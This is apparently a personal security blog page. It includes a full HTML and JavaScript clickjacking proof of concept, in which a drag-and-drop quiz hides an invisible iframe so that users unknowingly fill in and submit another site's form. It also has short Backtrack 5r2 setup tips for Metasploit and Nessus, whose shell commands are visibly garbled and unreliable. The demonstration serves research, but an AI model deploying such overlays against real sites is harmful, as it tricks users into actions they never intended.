Moved Posts

Leveraging HTML5 in order to turbo-charge clickjacking

You have a website and you’ve proven it’s vulnerable to clickjacking, but what use is fooling a user into submitting a form unless you can specify some of the data that the user is submitting within those fields?

We’ve all played games online where you have to match up words to phrases or maybe things like the “impossible game” where you drag the words to the respective colours.

What about turning a harmless game such as the above into a form submission machine of awesome. Well now with HTML5 – you can!

It’s all thanks to the drag-and-drop method and in particular the ondragstart method.

draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'Rick Astley')"

use that on anything you want to make draggable – in my testing I opted for a simple <div> containing a string, and ask the players to drag and drop the string onto the correct corresponding sentence.

When they click the “answer” button, it submits the jacked site.

So.. users drag the word CSS across to Cascading Style Sheets – enters “Rick Astley” into the search field of

then users click the “answer” button – submits the video search

Now ideally if google didn’t have x- headers set that forbid the use of google in an iframe I’d have gone and “i’m feeling lucky”d it but sadly no autoplaying rick astley for me.

Still the premise is proven.



Now with added code! and a demonstration video.

Video Here: [youtube]

I’m no web developer and quickly ran out of patience when working on the positioning issues so feel free to take, improve and build on it. I was merely creating this just to play with some of the features of HTML5.


<html>  <head>    <title>HTML Clickjacking demonstration - drag and WTF!?</title>    <style>      iframe{position: absolute; top:0px; left:0; filter: alpha(opacity=0); opacity:0;z-index:1}      button{position: absolute; top:40px; left: 805px; z-index:-1; width:107px; height:26px;}      .magicfield1{position: absolute; top:40px; left: 340px; z-index:-1; height: 26px; border: 1px solid orange}      .magicfield2{position: absolute; top:40px; left: 480px; z-index:-1; height: 26px; border: 1px solid orange}      .magicfield3{position: absolute; top:40px; left: 650px; z-index:-1; height: 26px; border: 1px solid orange}      .magictext{position: absolute; top:54%; left: 50%; z-index:-1; }      .showhider{position: absolute; top:90%; left: 1%}      .intro{position: absolute; top:50%; left:0}    </style>    <script type="text/javascript">      function mask(){        document.getElementById("iframe").style.opacity = ".1"; // for most browsers          document.getElementById("iframe").style.filter = "alpha(opacity=10)"; // for IE      }      function hide(){        document.getElementById("iframe").style.opacity = ".0"; // for most browsers          document.getElementById("iframe").style.filter = "alpha(opacity=0)"; // for IE      }      function show(){        document.getElementById("iframe").style.opacity = ".9"; // for most browsers;          document.getElementById("iframe").style.filter = "alpha(opacity=90)"; // for IE        }      function reveal(){        alert("Checking your answer...");        document.getElementById("iframe").style.opacity = ".9"; // for most browsers        document.getElementById("iframe").style.filter = "alpha(opacity=90)"; //for IE      }    </script>  </head>  <body>    <div class="intro">      <p>Hello and welcome to the match game</p>      <p>All you have to do is drag the following 3 letter acronym to the matching string ---> </p>      <p class="showhider">As you know it's a test - Show iframe - Hide iframe - Mask iframe </p>    </div>    <div class="magictext" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'Rick Astley')">      <H1 style="border: 1px dashed black">CSS</H1>    </div>        <span class=magicfield1>Cross Site Scripting</span><span class=magicfield2>Cuddly Slippery Snakes</span> <span class="magicfield3">Cascading Style Sheets</span>    <button>Answer</button>  </body></html>

Pastebin Link:

Moved Posts

msfupdate on Backtrack 5r2

Having annoying SVN issues trying to run msfupdate on your BT5R2 install?

Something along the lines of “no version information found”.

Try this:

cd /opt/metasploit/common/libmv -s /usr/lib/ -s /usr/lib/

The above was obtained off of the backtrack forums but given the numbers of threads on that thing with similar topics, I’m guessing not a lot of people are seeing the actual solution.

As with everything I post, it worked for me but your mileage may vary.

Moved Posts

Nessus 5.0 on Backtrack 5r2 Continued…

So you’ve followed the instructions in my previous post alright and gone to browse to http://localhost:8843, have already pre-empted the no-script nags by allowing all scripts from localhost (or whatever your paranoia level allows you to do) and still can’t get past that annoying “Nessus requires flash player 10.2 or later” message.

Don’t fear and don’t bother following any other horrible tutorial that involves shoving an old piece of flash software on your system. It’s time to go for the bleeding edge.

Within a terminal type:

wget xvzf install_flash_player_11_linux.i386.tar.gzmkdir ~/.mozilla/pluginsmv ~/.mozilla/plugins/

Then just delete everything else that got extracted.

Yes it’s the 32bit flash – but it works.

Yes I know, it’s not the 64bit flash… but it still works on the x64 install of BT5R2 and does the job for accessing nessus.

Now you can browse to http://localhost:8834, create your user, ignore the bit about “enter your feed” details if it comes up (close the browser and re-open it) and voila… nessus 5.0 on bt5r2.

Moved Posts

Nessus 5.0 on Backtrack 5r2

Note: I’ve not tried this on anything else so YMMV if you try this on 5r1 or less.

Fire open a terminal window and as root type:

apt-get remove nessus

This will remove the old v4.4.1 version from your backtrack instance and stop any nastyness occurring when you run the install with the two versions clashing.

Now head to and grab yourself a copy of the latest version.

If you’re lucky enough to have a professional feed, great stuff.

If it’s your first time dealing with nessus, you’ll need to register for a homefeed so follow the steps online.

Download the package labeled as: Nessus-5.0.0-ubuntu910_amd64.deb (if you’ve a 64bit machine, else go for i386). I’ve not tested any other packages but I know the above one worked for me.

now back within the terminal window and in the location you saved the file to type:

dpkg -i Nessus-5.0.0-ubuntu910_amd64.deb

and watch as it magically installs everything you need. Upon completion nessus should be callable from the path.


nessus-fetch --version

To confirm the version number, it should come back at 5.0.0

Then using the code either for your professional feed or home feed register your nessus install:

nessus-fetch --register SERIAL_NUMBER_YOU_HAVE

Wait and it should confirm a successful registration and download the plugins.

Now just fire up nessus (first time after an update it takes an age as it unpacks and loads the plugins) and you’re away.

Not quite. What will come next is a guide as to how on earth you get Flash working in the onboard firefox on BT5R2.

Then, you should be all set for nessus scanning from your backtrack installation.